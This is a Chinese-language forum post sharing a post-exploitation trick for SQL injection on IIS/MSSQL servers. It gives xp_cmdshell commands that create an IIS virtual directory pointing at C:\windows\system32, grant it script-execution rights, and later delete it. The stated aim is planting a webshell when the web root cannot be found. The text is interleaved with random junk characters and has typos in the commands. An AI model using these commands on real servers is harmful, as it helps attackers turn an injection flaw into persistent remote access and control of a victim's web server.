
- 帖子
- 120
- 积分
- 470
- 威望
- 636
- 金钱
- 101
- 在线时间
- 31 小时
   
|
很多情况下我们都会遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,应该算是无意中发现了一招,感觉不错 整理下发上来给大家分享:
: K, L8 U) E; n, O4 a6 n; H
/ V8 a& x2 B* d8 _4 ?exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
3 b7 j* G) Z$ C0 ^0 e% f建立虚拟目录win,指向c:\windows\system32- ~0 d) J$ `3 \- q
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'# |% W2 q$ |. M2 U6 o' {
让win句有解析asp脚本权限 {- e# `% `- v- N3 p$ T' Q
+ l3 Q Q8 p& |& M6 q! a
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
: C4 Z* l" Z, _- D删除虚拟目录。
" v' y- v# U( i( B9 P# A找不到web绝对路径的一种解决办法,- r }: D# N g" i# U
- V: d0 q1 y1 X
403错误,表示虚拟目录建好了。。 |
-
1
评分人数
-
|